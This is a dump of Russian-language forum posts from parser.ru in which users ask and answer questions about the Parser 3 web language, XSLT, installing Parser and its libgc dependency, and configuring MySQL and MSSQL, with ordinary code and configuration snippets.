http://www.parser.ru/forum/?id=26690\
Продолжения, правда, не видел. Наверное, и правда не в этом дело."
"31502","Товарищи, перерыл всю документацию, имеющиеся книги но ума так и не дал...\
\
Имеем:\
Выполняем запрос вида [code]descendant-or-self::*[@active= 1][/code], стало быть, ищем узел с атрибутом active = 1.\
По структуре документа такой узел может быть только один (так и есть: [code]count(descendant-or-self::*[@active= 1])[/code] выдаёт 1).\
Можно запрашивать и функцией вида [code]key('active', 1)[/code] по заранее составленному ключу [code]<xsl:key name=\"active\" match=\"section[@active]\" use=\"@active\"/>[/code], итог тот же – множество в один узел.\
\
Нужно: получить значение атрибута uri выбранного узла.\
\
[бьётся головой об стол]\
\
Перепробовал кучу вариантов.\
Даже [code]\
<xsl:for-each select=\"key('active', 1)\">\
	<a>\
		<xsl:attribute name=\"href\">\
			<xsl:value-of select=\"@uri\"/>\
		</xsl:attribute>\
		<img src=\"/img/logo_active.gif\" width=\"78\" height=\"35\">\
			<xsl:attribute name=\"border\">\
				<xsl:text>0</xsl:text>\
			</xsl:attribute>\
		</img>\
	</a>\
</xsl:for-each>\
[/code]\
нету толку, видимо узел-то не контекстный. (Вообще на данном этапе идёт обработка корня (вызов этого шаблона из главного) т.о. контекстный – корень)\
\
Можно конечно попробовать через DOM Парсером выдрать, но хочется сделать всё прямо в xsl."
"31503","по этой ссылке http://www.parser.ru/links/ ? Левая колонка, на мой вгляд :), вообще пуста. А в самом низу правой под заголовком «скачать» есть только:\
\
• HTML 4.01\
• CSS2\
• XPath 1.0\
• XML 1.0\
• XSLT 1.0\
• CVS\
\
А [b]MySQL[/b]-я нету. Чуть выше, под заголовком «Документации на русском языке» есть ссылочка: [url=\"http://dev.mysql.com/doc/mysql/ru/\"]MySQL[/url]\
\
Но она on-line, а я предлагаю оформить, допустим ее же, в виде [b]CHM[/b] и добавить в полезных ссылках...\
\
П.с.\
Я в лыжах, или просто не ясно выражаюсь? ;)"
"31504","Есть там [url=\"http://dev.mysql.com/get/Downloads/Manual/manual.ru-split.zip/from/pick\"]ссылка[/url], для скачивания документации, разделенной по главам. Но если все это будет в одном chm файле — будет ведь куда удобнее, разве не так?"
"31507","пишу в БД MySQL текст \"<b>что-то жирное</b>\" (тип данных text), при выводе текста получаю не жирный шрифт, а текст \"<b>что-то жирное</b>\", то есть тэги выводятся как часть текста...\
\
что делать? есть ли стандартные готовые процедуры для корреткного вывода форматированного текста?\
\
Заранее спасибо"
"31509","Прочитано уже немало. К сожалению опыт в кодировании и т.д. равен\
нулю, а желание приобщиться велико. С установкой и настройкой системы большая проблема - ни help, ни форум не дали результата.\
Может ли кто-либо пошагово пояснить настройку системы при след. конфигурации:\
Система - WIN XP\
Denver pma2.5.6_p311 со всеми доп. модулями\
К сожалению настроить самому не удалось. Может быть есть другие пути..."
"31510","Есть база картинок вида:\
номер    имя\
1         1.jpg\
\
Добавляем картинки посредствам формы :\
<form method=\"POST\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"photo\">\
\
Как сделать так, что бы имя файла( например васяпьетпиво.jpg ) введенного в форму, было переименовано в след. номер в базе (2.jpg)???\
\
\
Прошу прощения за сумбурность изложения ..."
"31513","\"То ли лыжи не едут...\" - продолжение http://www.parser.ru/forum/?id=31319\
\
Ситуация - адин сервера, на котором крутится мой сайт, попросил перевести его с MySQL на MSSQL, так как с первым много неудобностей. Я решил поставить MSSQL на свой ноут, чтобы проверить, что и как.\
\
Я скачал и поставил на свой компьютер Microsoft SQL server 2005 starter edition (бесплатную версию SQL server для разработчиков с ограничением на размер БД до двух гигов и с запретом в лицензии использовать её на сервере - вот и все отличия от старшего брата) - http://lab.msdn.microsoft.com/express/sql/default.aspx Установка прошла, в процессе я выставил пароль для пользователя sa (как я понимаю, это аналог root).\
\
[code]Net start[/code] показывает, что служба SQLEXPRESS работает. В списке служб она есть. В то же время Web data administrator на все попытки подключиться отвечает [i]Invalid username and/or password, you are using a windows login that is not your own, or server does not exist[/i] (не важно, используется ли SQL Login или Windows integrated). C созданием источника через odbc та же петрушка - попытка \"test connection\" пролетает с тем же диагнозом.\
\
Я запустил netstat -p tcp чтобы посмотреть, какие локальные порты открыты, при этом порта 1433 не обнаружил в списке. Почесав репу я полез в Management console и вырубил все протоколы (shared memory, named pipes), у которых приоритет выше, чем у tcpip и перезапустил сервис - тот же диагноз.\
\
Что ещё сделать? Что я вообще неправильно делаю? Если вы ставили MSSQL и заметили ошибку в моих действиях, или просто знаете хорошее руководство по установке и настройке Starter edition - буду премного благодарен (msdn и хелп к MSSQL не канают, уже проверял, RTFM в их направлении не приму)."
"31514","В тексте по ошибке назвал Express edition \"starter edition\". Прошу прощения"
"31515","Допустим в форме так –\
[code]<SELECT multiple size=5 name=\"red\">\
 <OPTION value=1>1</OPTION>\
 <OPTION value=2>2</OPTION>\
 <OPTION value=3>3</OPTION>\
 <OPTION value=4>4</OPTION>\
 <OPTION value=5>5</OPTION>\
 <OPTION value=6>6</OPTION>\
</SELECT>[/code]\
\
и если пользователь выбрал сразу\
несколько значений - как их\
получить парсером, т.е. если\
просто написать [code]$form:red[/code]\
то получаешь самое первое значение,\
а остальные отбрасываются.\
Подскажите пожалуйста, никак не соображу."
"31516","А кто-нибудь знает, почему libgc нет в портах? Очень неудобно помимо парсера перекачивать и компилировать дополнительное вещи... Или оно есть, только само не находится?\
\
[code]\
checking for mysql client... /usr/local/lib/mysql/libmysqlclient.so\
checking for pgsql client... could not guess\
checking for oracle client... could not guess\
configure: WARNING: neither --with-shared/static-gc were specified, hoping linker would find it\
checking for libgc... no\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
%\
[/code]"
"31518","Потом вам нужно воспользоваться методом (^last_insert_id[]) из Мишиного класса mysql.p, который есть в примерах.\
И уже полученный номер+1 использовать в качестве следующего имени.\
\
В этой методике есть один существенный минус. Ваши картинки поисковиком искаться будут очень плохо. Гораздо лучше оставить имя файла как есть, а привязку делать через другой столбец. Тогда на запрос в поисковике \"Вася пьет пиво\" вы получите свою картинку."
"31519","по-идее в базе можно не хранить даже имени картинки(если кроме этого пишеться что-то еще в ту же запись) - достаточно при сохранении отсекать имя файла, до расширения и заменять это на ID записи(считаем, что оно уникальное).\
и при выводе инфы а экран просто вытаскивать файл с таким именем."
"31521","а ничего не поделаещь - gc нужно скачивать и компилировать, об этом вообще-то в инструкции написано."
"31522","Стоит задача скачать с некоторого http сервера Xml файл\
казалось бы все просто\
@main[]\
try{\
xdoc[^xdoc::load[http:://www.someserver.ru/some_file.xml]]\
}{\
Ошибка $exception.type\
$exception.handled(1)\
}\
\
Но требуется сделать диагностику ошибки\
1. сервер не доступен(Упал)\
2. Внутренняя ошибка сервера (500-я)\
3. Документ не найден (404)\
\
Приведенная выше конструкция диагностирует тип всех этих ошибок как \
как xml \
Читаем здесь \
http://www.parser.ru/docs/lang/app1.htm\
Пробуем сделать вот так\
\
@main[]\
$http_params[\
$.any-status(1)\
]\
try{\
xdoc[^xdoc::load[http:://www.someserver.ru/some_file.xml;$http_params]]\
}{\
Ошибка $exception.type\
$exception.handled(1)\
}\
Возникает parser.runtime\
parser.runtime method of xdoc (stateless_class) accepts maximum 1 parameter(s) \
\
Версия парсера 3.1.3\
Какой выход подскажете ?\
\
P.S.\
RTFM. I have done ;-)"
"31523","Оказывается, умолчальное \"(local)\" в имени сервера надо было заменить на \"ИМЯКОМПЬТЕРА\\SQLEXPRESS\"..."
"31524","меньше болтовни. вам нужно=найдите человека, который напишет.\
нам пока не нужно."
"31526","[code]<xsl:key name=\"active\" match=\"section\" use=\"@active\"/>[/code]\
иначе получается набор @active, у которого, очевидно, нет @uri"
"31527","Попробовал почитать что сказали действительно там уже 1 парамерт в методе load\
а вот здеся\
http://www.parser.ru/docs/lang/fileload.htm\
два но не работает, исправьте пожалуйста доку, дабы не вводить других пользователей в заблуждение.\
\
А как все таки отловить 200-ю и 500-ю ошибочки?"
"31529","У меня создаётся стойкое впечатление, что я верблюд.\
По сему, приведу полностью тестовый xml и шаблон.\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<tree>\
	<section id=\"1\" parental_id=\"0\" name=\"Главная\" title=\"\" url=\"/eng/\" subin=\"1\" active=\"0\">\
		<section id=\"2\" parental_id=\"1\" name=\"Продукты\" title=\"\" url=\"/eng/products/\" subin=\"1\" active=\"0\">\
			<section id=\"3\" parental_id=\"2\" name=\"Мониторы\" title=\"\" url=\"/eng/products/monitors/\" subin=\"0\" active=\"0\"/>\
			<section id=\"4\" parental_id=\"2\" name=\"Принтеры\" title=\"\" url=\"/eng/products/printers/\" subin=\"0\" active=\"0\">\
				<section id=\"5\" parental_id=\"4\" name=\"Лазерные\" title=\"\" url=\"/eng/products/printers/laser/\" subin=\"0\" active=\"0\"/>\
				<section id=\"6\" parental_id=\"4\" name=\"Струйные\" title=\"\" url=\"/eng/products/printers/toner/\" subin=\"0\" active=\"0\"/>\
			</section>\
			<section id=\"7\" parental_id=\"2\" name=\"Винчестеры\" title=\"\" url=\"/eng/products/hdd/\" subin=\"0\" active=\"0\">\
				<section id=\"8\" parental_id=\"7\" name=\"IDE\" title=\"\" url=\"/eng/products/hdd/ide/\" subin=\"0\" active=\"0\"/>\
				<section id=\"9\" parental_id=\"7\" name=\"SCSI\" title=\"\" url=\"/eng/products/hdd/scsi/\" subin=\"0\" active=\"0\"/>\
				<section id=\"10\" parental_id=\"7\" name=\"Serial ATA\" title=\"\" url=\"/eng/products/hdd/sata/\" subin=\"0\" active=\"0\"/>\
			</section>\
			<section id=\"11\" parental_id=\"2\" name=\"CD/DVD\" title=\"\" url=\"/eng/products/cd/\" subin=\"1\" active=\"0\">\
				<section id=\"12\" parental_id=\"11\" name=\"CD-RW\" title=\"\" url=\"/eng/products/cd/rw/\" subin=\"0\" active=\"0\"/>\
				<section id=\"13\" parental_id=\"11\" name=\"CD-ROM\" title=\"\" url=\"/eng/products/cd/rom/\" subin=\"0\" active=\"0\"/>\
				<section id=\"14\" parental_id=\"11\" name=\"DVD\" title=\"\" url=\"/eng/products/cd/dvd/\" subin=\"1\" active=\"0\">\
					<section id=\"15\" parental_id=\"14\" name=\"DVD-R\" title=\"\" url=\"/eng/products/cd/dvd/dvd-r/\" subin=\"0\" active=\"0\"/>\
					<section id=\"16\" parental_id=\"14\" name=\"DVD-RW\" title=\"\" url=\"/eng/products/cd/dvd/dvd-rw/\" subin=\"1\" active=\"1\"/>\
				</section>\
			</section>\
			<section id=\"17\" parental_id=\"2\" name=\"Мыши\" title=\"\" url=\"/eng/products/mice/\" subin=\"0\" active=\"0\">\
				<section id=\"18\" parental_id=\"17\" name=\"Шариковые\" title=\"\" url=\"/eng/products/mice/ball/\" subin=\"0\" active=\"0\"/>\
				<section id=\"19\" parental_id=\"17\" name=\"Оптические\" title=\"\" url=\"/eng/products/mice/optical/\" subin=\"0\" active=\"0\"/>\
				<section id=\"20\" parental_id=\"17\" name=\"Живые\" title=\"\" url=\"/eng/products/mice/live/\" subin=\"0\" active=\"0\"/>\
			</section>\
			<section id=\"21\" parental_id=\"2\" name=\"Прочее\" title=\"\" url=\"/eng/products/else/\" subin=\"0\" active=\"0\"/>\
		</section>\
		<section id=\"22\" parental_id=\"1\" name=\"Поддержка\" title=\"\" url=\"/eng/support/\" subin=\"0\" active=\"0\"/>\
		<section id=\"23\" parental_id=\"1\" name=\"Сотрудничество\" title=\"\" url=\"/eng/cooperation/\" subin=\"0\" active=\"0\"/>\
		<section id=\"24\" parental_id=\"1\" name=\"О сайте\" title=\"\" url=\"/eng/about/\" subin=\"0\" active=\"0\"/>\
		<section id=\"25\" parental_id=\"1\" name=\"Новости\" title=\"\" url=\"/eng/news/\" subin=\"0\" active=\"0\">\
			<section id=\"26\" parental_id=\"25\" name=\"Архив\" title=\"\" url=\"/eng/news/archive/\" subin=\"0\" active=\"0\">\
				<section id=\"27\" parental_id=\"26\" name=\"Новое в архиве\" title=\"\" url=\"/eng/news/archive/new/\" subin=\"0\" active=\"0\"/>\
			</section>\
		</section>\
	</section>\
</tree>\
[/code]\
\
+ шаблон, натравливаемый на него имеет общий вид («левые» куски заменены многоточиями):\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
...\
	<xsl:key name=\"active\" match=\"section\" use=\"@active\"/>\
\
	<xsl:template match=\"/\">\
\
...\
\
<xsl:call-template name=\"logo\"/>\
\
...\
	</xsl:template>\
\
<xsl:template name=\"logo\">\
\
...\
			<xsl:for-each select=\"key('active', 1)\">\
				<a>\
					<xsl:attribute name=\"href\">\
					<xsl:value-of select=\"@uri\"/>\
					</xsl:attribute>\
					<img src=\"/img/logo_active.gif\" width=\"78\" height=\"35\">\
						<xsl:attribute name=\"border\"><xsl:text>0</xsl:text></xsl:attribute>\
					</img>\
				</a>\
				</xsl:for-each>\
...\
</xsl:template>\
[/code]\
\
Вот в таком направлении.\
Дело тут даже не в ключе, ибо можно выбрать узел как \
[code]\
<xsl:variable name=\"active_section\" select=\"descendant-or-self::*[@active = 1]\"/>\
[/code]\
\
А потом также for-each’ить – получим то же.\
Главное, если вывести [code]<xsl:copy-of select=\"descendant-or-self::*[@active = 1]\" />[/code]\
получим нормальную копию узла: \
[code]\
<section id=\"16\" parental_id=\"14\" name=\"DVD-RW\" title=\"\" url=\"/eng/products/cd/dvd/dvd-rw/\" subin=\"1\" active=\"1\"/>\
[/code]\
, а вот @uri получить – никак."
"31530","[code]<section id=\"16\" parental_id=\"14\" name=\"DVD-RW\" title=\"\" url=\"/eng/products/cd/dvd/dvd-rw/\" subin=\"1\" active=\"1\"/>[/code]\
ну и где здесть [b]@uri[/b]? вижу только @ur[b]l (L маленькая)[/b]"
"31531","в Москве, подробности о конкретных работах при созванивании или списывании (лучше при созванивании), оплата не супер (богатым не станете), но работа интересная и в какой-то мере бросает вызов вашим способностям специалиста"
"31532","Пардон. Все работает."
"31533","Начал Парсер выдавать такую мульку:\
\"exception in request exception handler: Exception 0xE06D7363 at 0x77E73887\".\
\
Через два часа выяснилось почему. \
Все из-за вот этого кода:\
\
@unhandled_exception[exception;stack][etype]\
^if($exception.type eq 'file.missing' && !$stack){\
	$exception.handled(1)\
	$response:location[/404/]\
}{\
	^if($SYSTEM.DEBUG){\
		^unhandled_exception_debug[$exception;$stack]\
	}{\
	    <html>\
	        <head>\
				<title>Внутренняя ошибка</title>\
				<meta http-equiv=\"refresh\" content=\"2;url=/\"/>\
			</head>\
	        <body>\
				<h2>Внутренняя ошибка</h2>\
				<p>\
					Извините, произошла ошибка на сервере.<br>\
					Если это будет часто повторяться, сообщите разработчикам сайта.\
				</p>\
			</body>\
	    </html>\
	}\
}\
\
Там после двоечки незамаскированное двоеточие стоит.\
Вопрос: почему Парсер на это так злобно реагирует?\
\
\
П.С. Кстати, ошибке в форме форума добавления сообщения: записано - \"Текст сооющения\"."
"31535","Можно ли каким-нибудь образом установить на сервер Парсер, если нельзя записать строчки в .htaccess (отсутствует необходимый модуль сервера, его установить нельзя)?"
"31536","Мне надо сохранить фаил принятый от пользователя из формы. Но надо сохранить его не в тело сайта, а отдельно, тоесть передать его через FTP. Я так понимаю конструкция ^файл.save[формат;ftp://login:parol@сервер/папка] работать не будет!\
\
Что делать?"
"31537","Спасибо за помощь, оказывается всё было правильно, это я дурак так гнусно \"опечатался\".\
Подумать только - два дня поисков..."
"31538","FreeBSD насчитывает 11 тысяч портов. Мне очень интересно, как так получилось, что ни один из этих портов не использует тот самый libgc, который использует парсер три? ;-) Может быть PAF знает ответ? ;-)"
"31539","портов в смысле собранного софта поставляемого в дистрибутиве?\
\
А вообще кажется этот сборщик мусора не нужен широкой публике, поэтому его и нет. В доке кстати есть ссылка для люознательных."
"31540","Заходим на <http://www.freshports.org/>, смотрим статистику по количеству портов (включая тех, которые не компилируются по тем или иным причинам, насколько я понимаю) --- 11 448 штук. ;-) Пишем gc в строке поиска, находим кучу портов, среди которых отсутствует как \"gc-\", так и \"libgc-\". Вывод --- несколько гигабайт разного софта (включая языки программирования) для FreeBSD не нуждаются в libgc. :-)\
\
P.S. Компилированные порты --- это пакеты. ;-)"
"31541","Есть текстовый файл, все поля разделены табуляторами, первая строка --- название столбцов, потом идёт сама таблица. \
\
Как можно всё это дело импортировать в MySQL 4? Насколько я понимаю, команда LOAD DATA INFILE подразумевает предварительного наличия таблицы. А можно ли сделать так, чтобы таблица была создана автоматически из первой строки файла, с автоматическим определением типа столбцов? Или такой умной утилиты пока ещё никто не написал? ;-)"
"31542","ну это я думаю достаточное редко используемый консервативный сборщик мусора, который по тем или иным причинам (например эффективность) пришелся в кассу ПАФу и всей компании."
"31543","на парсере легко делается используя ^table.columns[]\
\
только вот как типы данных создаваемых столбцов по данным из файла определять, ума не приложу."
"31544","1. import.sql в котором инструкции для создания таблицы, load data, создание индексов\
2. собственно data.txt где все что у вас уже есть без первой строки\
\
P.S. работает это раз в 10 быстрее чем куча INSERT"
"31545","мне как раз хотелось автоматического создания первого файла, со всеми инструкциями для создания таблицы... ;-) Может есть какой-нибудь умный скрипт, который может всё это дело проанализировать (пять тысяч строк (записей), 1,5 мегабайт), и выдать мне предлагаемый вариант таблицы? ;-)"
"31547","Собственно код:\
\
$document[^xdoc::create[thread]]\
$msgNode[^document.createElement[message]]\
$addedNode[^document.documentElement.appendChild[$msgNode]]\
$addedNode.nodeValue[$form:msgText]\
\
после чего $addedNode.nodeValue - пустое :(\
парсер 3.1.2 и 3.1.3 на линуксе."
"31548","У меня проблема.\
Не могу установить парсер на Valuehost'овский сервер. А эти «господа» отказываются помогать.\
Помогите кто-нить.\
Напишите что куда копировать и что писать.\
\
Материться громко не надо :-)"
"31549","Вопрос об установке:\
сервер Solaris, качнули исходники, скомпили, положили в cgi-bin.\
На запрос из броузера выдает версию, вроде все нормально.\
но на тест предлагаемого с parser.ru (_test.html) не реагирует.\
В файле httpd.conf переменную AllowOverride меняли, не помогает.\
Что может быть?"
"31550","Спросить юзера про тип каждой колонки, показав ему первые три-четыре записи"
"31551","[code]\
parser3mysql.C:17:27: pa_sql_driver.h: No such file or directory\
[/code]\
\
Насколько я понимаю, нужен файл, который уровнем выше. Следуя инструкциям, у меня такая структура:\
\
[code]\
/parser-3.1.3/src/sql/parser3mysql-3.1.HEAD/parser3mysql.C\
/parser-3.1.3/src/sql/pa_sql_driver.h\
[/code]\
\
Вывод -- либо включить pa_sql_driver.h в поставку parser3mysql, либо изменить путь в этой самой поставке. \
\
З.Ы.\
Вообще, мне не очень понравилось, что для установки парсера, мне пришлось компилировать целых три пакета -- gc, parser3, parser3mysql. \
\
Мне кажется, можно было бы поместить целый архив исходников, который бы включал как минимум и parser3, и parser3mysql, а ещё лучше и libgc, так как вероятность установленного libgc очень мала, как мы выяснили в предыдущем треде. Это сэкономит нам, пользователям, немало времени."
"31553","Вам скорей всего потребуется grpunlim вариант, иначе на valuehost не работает ^mail.send"
"31555","libgc\
\
Known current users of some variant of this collector include: \
\
The runtime system for gcj, the static GNU java compiler. \
\
The Mono project, an open source implementation of the .NET development framework. \
\
The DotGNU Portable.NET project, another open source .NET implementation. \
\
Elwood Corporation's Eclipse Common Lisp system, C library, and translator. \
\
The Mozilla project, as leak detector. \
\
The GNU Objective C runtime. \
\
http://www.hpl.hp.com/personal/Hans_Boehm/gc/"
"31556","сборка мусора используется в: \
* lisp\
* java\
* python\
* c#\
* parser 3.1.x\
\
известные подходы к работе с памятью:\
* не освобождать объекты вообще [parser 3.0.x]\
* освобождать объекты вручную в коде [сложно и чревато ошибками]\
* вести учёт ссылок на все объекты [ресурсоёмко и проблема циклических ссылок]\
* пользоваться сборкой мусора [parser 3.1.x]\
\
конкретная библиотека = проверенный временем надёжный код.\
\
за всё время мной было найдено всего 3 мелких ошибки, из них только одна в коде собственно сборщика мусора, и та только под win32.\
\
в mono библиотеку включили в состав исходников самого продукта, дав возможность сборщику или оставить её по-умолчанию, или указать каталог с другой версией.\
\
так сделать совсем несложно. мне показалось, это не нужно. \
однако, если кому-то кажется иначе, присылайте \"patch -u\" к configure.in, включу."
"31557","* импортируете файл\
* редактируете названия/типы столбцов по вкусу\
* right click на таблице, export...\
* выбираете ODBC datasource [заранее созданный, указывает на MySQL]\
* MSAccess сам создаст нужную структуру"
"31558","меняете значение нетекстового node.\
\
присваивание $node.nodeValue, это вовсе [b]не[/b]\
присваивание $node.innerText (возможно, со временем, добавлю. приму patch)."
"31559","и расскажите здесь то, что вас просит FAQ по установке?"
"31560","http://www.parser.ru/forum/?id=13000\
\
P.S. если в способе сборки вам что-то не нравится, подготовьте правильный с вашей точки зрения пакет, поддерживайте его, пришлите ссылку, разместим."
"31562","Для полного щастия не хватает определения в ^file::stat - папка это или файл. проверки ^if(-f ...) либо ^if(-d ...) не работают :(\
первая успешно работает и с папками, вторая не все файлы считает файлами :-\\\
\
Парсер 3.1.3 с XML на линуксе.\
\
И ещё бы сортировку по mdate/cdate/adate в ^file::list (отдельными столбцами?) - было бы вообще замечательно!"
"31563","пожалуйста, пришлите минимально возможного размера bug.html"
"31564","что значит \"не все файлы считает файлами\"?\
\
про file::list\
если делать, то флажок, по которому добавляются колонки \
mdate/cdate/adate/attributes\
значения *date колонок числовые(чтобы table.sort быстро работал), в формате пригодном для \
[code]^date::create()[/code]\
формат колонки attributes числовой, стандартный для unix.\
вариант: перегруппировать биты для удобной манипуляции ими в шестнадцатеричной форме.\
0666 (восьмеричное) упаковать в 0x666, чтобы битовые операций с атрибутами записывались нагляднее.\
\
приму \"patch -u\""
"31565","в том смысле что (-d \"файл\") для некоторых файлов возвращает true (\"файл\" - это именно файл с полным путём от \"корня веб-пространства\", а не папка).\
\
с предложенным ^file::list согласен, насчёт атрибутов... не знаю, мне достаточно определять папка/не папка.\
\
патч - попробую нарисовать :)"
"31566","так и понял изначальное сообщение.\
на каких файлах? чем они отличаются от прочих?\
полное оглавление каталога (с атрибутами) на что похоже?\
с консоли:\
[code]\
$ ls -la\
[/code]\
по ftp:\
[code]\
ftp> list -la\
[/code]"
"31568","вот честно искал и не нашел!\
1 apache #2 \
тока две директивы типа\
для обработки virtual host \
VirtualDocumentRoot /var/home/%1/html/\
VirtualScriptAlias /var/home/%1/cgi-bin/\
2 Parser#3\
лезу на http://slon.hobot/_test.html\
работает \
но DOCUMENT_ROOT: /var/home/www/html\
а должен /var/home/slon/html\
этож чтож теперь делать та?"
"31569","ну конешно \
отдельно накрученый \
<VirtualHost *>\
    DocumentRoot /var/home/slon/html\
    ServerName slon.hobot\
</VirtualHost>\
помог ну а если их всеж 50 шт?"
"31574","Я или стану специалистом по настройке MSSQL, или повешусь...\
\
Сервер установлен на ноутбуке. Ноут воткнут в корпоративную сеть. Парсер работает, БД видит - всё классно.\
\
Выдёргиваем сетевой шнур, выключаем-включаем ноут. Сервис запускается, но ни парсер, ни родной Web data administrator доступа получить не могут с симптомом \"SQL Server does not exist or Access Denied\".\
\
Долгое чесание репы привело к выводу, что SQL Server цепляется не к 127.0.0.1:1433, а к ИМЯ_КОМПЬЮТЕРА:1433 Когда ноутбук в сети, всё работает, когда нет - коннект не устанавливается.\
\
Добавление строки [code]127.0.0.1 ИМЯ_КОМПЬЮТЕРА[/code] в hosts не помогло.\
\
Я полез в Microsoft Management Console, залез в свойства SQL Server и заставил его \"Listen to all IPs\" - не помогло (хотя именно этот способ описывается в http://support.microsoft.com/default.aspx?scid=kb;en-us;827422)\
\
Any ideas?\
\
В любом случае, у меня сохраняется возможность разрабатывать свой сайтец на ноутбуке, при условии, что я сделю log in в Windows, пока он был подключён к сети, затем переведу ноутбук в спячку, припру домой и продолжу работу. Если мне придётся перезагружаться, это будет облом. \"Стоя, в лыжах и в гамаке\" - но работает, хотя утешение в этом слабое."
"31576","Что было сделано:\
\
Срыл и поставил заново MSSQL 2005, в процессе установки выбрал опцию \"Default instance\" вместо \"Create new instance (SQLEXPRESS)\".\
\
Залез в SQL server manager -> Server network configuration, вырубил все протоколы, кроме shared memory и tcp, в свойствах tcp включил опцию ListenOnAllIPs.\
\
В Client network configuration -> Client protocols также вырубил все протоколы, кроме shared memory и tcp.\
\
Сделал net stop, a затем [code]net start \"SQL Server (MSSQLSERVER)\"[/code]\
\
Проверка netstat'ом показывает, что сервер прицепился ко всем локальным IP'шникам на порту 1433:\
\
[code]C:\\Documents and Settings\\abugakov>netstat -an\
\
Активные подключения\
\
  Имя    Локальный адрес  Внешний адрес  Состояние\
  TCP    0.0.0.0:1433     0.0.0.0:0      LISTENING[/code] \
\
Web data administrator пускает к БД с логином sa и сервером \"(local)\".\
\
Строка подключения для Parser приобретает такой вид:\
\
[code]$SQL.connect-string[odbc://Driver={SQL Server}^;\
	Server=(local)^;\
	Database=ИМЯ_БД^;\
	UID=ЛОГИН^;\
	PWD=ПАРОЛЬ^;\
][/code]\
 \
Думая надо всей этой эпопеей, я прихожу к выводу, что виной всему была кривизна в протоколе Named pipes - вырубание его и правльная настройка tcp всё вылечили."
"31577","если это единственный файл, который нужен из parser3, почему не включить его в parser3mysql? \
\
Перечитав инструкции, мне стало понятно, что структура каталогов должна быть такая:\
[code]\
sql/parser3mysql-3.1.HEAD/parser3mysql.C\
parser3/src/sql/pa_sql_driver.h\
[/code]\
Честно говоря, мне это кажется немного запутанным, глядя на имена каталогов в архивах для скачивания... Уж слишком много каталогов нужно переименовывать и создавать. ;-) \
\
Может быть, сделаете архивы с заранее совпадающими путями? Чтобы после untar parser3.tgz и untar parser3mysql.tgz были следующие файлы:\
[code]\
parser3project-3.1.3/parser3/src/sql/pa_sql_driver.h\
parser3project-3.1.3/sql/mysql/parser3mysql.C\
[/code]\
Это сэкономит много времени новым пользователям, и сильно сократит объём инструкций по установке. ;-)\
\
Так же могу заметить, что не хватает инструкций о том, как забирать sql/mysql через CVS."
"31578","насколько я понимаю, в них эта поддержка \"вшита\", так как при компиляции mozilla, мне не приходится перекачивать никаких дополнительных пакетов. ;-)"
"31579","Не совсем понятно термины:  < клещи: \"не реагирует\"=? >?"
"31581","Не реагирует вот на это ->\
пишу в строке http://www.мой_адрес.ru/_test.html\
в ответ: # Для того, чтобы данный тест заработал, в........\
\
на http://www.мой_адрес.ru/cgi-bin/parser3.cgi\
ответ: Parser/3.1.3"
"31582","file::exec\
\
в качестве исполнителя могу посоветовать программу lftp, простая и удобная вещь. россиянин написал."
"31584","Я хотел спросить можноли на XML реализовать то что во втором уроке сделано с помощью простых файлов. Тоесть меню реагирующее на $request:uri\
\
Вообще можно в XML использовать условия (if и тд).\
\
Если у кого то возникнет желание помочь то поподробнее. Заранее спасибо !"
"31585","Лежит тут: http://www.bougakov.com/devel/download/parser_demo_website_setup.exe (4.8Mb)\
\
Много мелких изменений и правок, вставлен пример из первого урока, тесты и базовые *.p из \"Примеров\" на этом сайте.\
\
В Todo:\
\
- разрешение устанавливать комплект в произвольную папку (пока познаний в Inno setup для реализации этого не хватает)\
- Переписывание SMTP-эмулятора с Perl на VB (а то он сейчас весит мегабайт)\
- написание help\
- (возможно) визуальный редактор или wizard для httpd.conf и hosts\
\
Буду благодарен за тестирование и любой feedback"
"31586","потом возвращаетесь ещё раз с конкретными вопросами."
"31587","А вот еще может быть в тему (если стоит вин2000)\
в случае если нету сетевого соединения\
http://3dnews.ru/reviews/software/win2000_faq/index07.htm#12"
"31588","Уже с утра мучаюсь, выкурил пол-пачки сигарет, но к решению проблемы так и не пришёл. \
Интернет магазин. Есть база данных, из которой достаётся информация для всех страниц сайта. Структура такая:\
\
name  price  type  imagesmall  image  link\
\
На главную страницу выводится картинка и краткая информация.\
 $cig[^table::sql{select\
       name, price, imagesmall \
	from\
      insale\
	where\
		uni=\"i\"\
	  \
   }]}\
<table width=\"100%\"  border=\"0\" cellspacing=\"5\" cellpadding=\"10\">\
   	 ^connect[$connect_string]{\
   $typ[^table::sql{select\
       type\
	from\
		insale\
	where\
		name=\"$cig.name\"  \
   }]\
   }\
	\
И сама проблема  том что используя следующую конструкцию:\
\
^cig.menu{\
\
  <tr> <td>\
		<img src=\"$cig.imagesmall\" alt=\"$cig.name cheap cigarettes\" width=\"39\" height=\"58\" /><br />\
      $cig.name<br /> \
   ^typ.menu{$typ.type}<br />$cig.price</td>\
  </tr>\
  }\
</table> \
\
Я получаю код\
<tr><td>Информация</td></tr>\
\
Но мои знания не позволяют создать конструкцию которая выглядела бы так:\
<tr><td>Информация</td><td>Другая информация</td><td>И ещё информация</td></tr>\
\
Если использовать вариант\
^cig.menu{\
<tr><td>\
		<img src=\"$cig.imagesmall\" alt=\"$cig.name cheap cigarettes\" width=\"39\" height=\"58\" /><br />\
      $cig.name<br /> \
   ^typ.menu{$typ.type}<br />$cig.price</td>\
<td>\
		<img src=\"$cig.imagesmall\" alt=\"$cig.name cheap cigarettes\" width=\"39\" height=\"58\" /><br />\
      $cig.name<br /> \
   ^typ.menu{$typ.type}<br />$cig.price</td>\
<td>\
		<img src=\"$cig.imagesmall\" alt=\"$cig.name cheap cigarettes\" width=\"39\" height=\"58\" /><br />\
      $cig.name<br /> \
   ^typ.menu{$typ.type}<br />$cig.price</td>\
</tr>\
}\
То получается что в трёх стобцах содержиться одинаковая информация/\
Как сделать так чтобы все данные отображались в трёх столбцах и любом количестве строк, причём чтобы в каждой ячейке была разная информация?\
Заранее спасибо."
"31590","то что внутри menu писать некогда, напишу в общем:\
[code]\
$cols(3)\
<tr>\
^cig.menu{\
<td>...</td>\
^if(^cig.line[] == $cols){</tr><tr>^cols.inc(3)}\
}\
</tr>\
[/code]\
\
примерно так. Можно еще 3-4 способами."
"31591","Результаты использования ^file::cgi под Apache win32 + mod_parser3 3.1.3:\
\
1. скрипт (perl) и страница обрабатываются нормально\
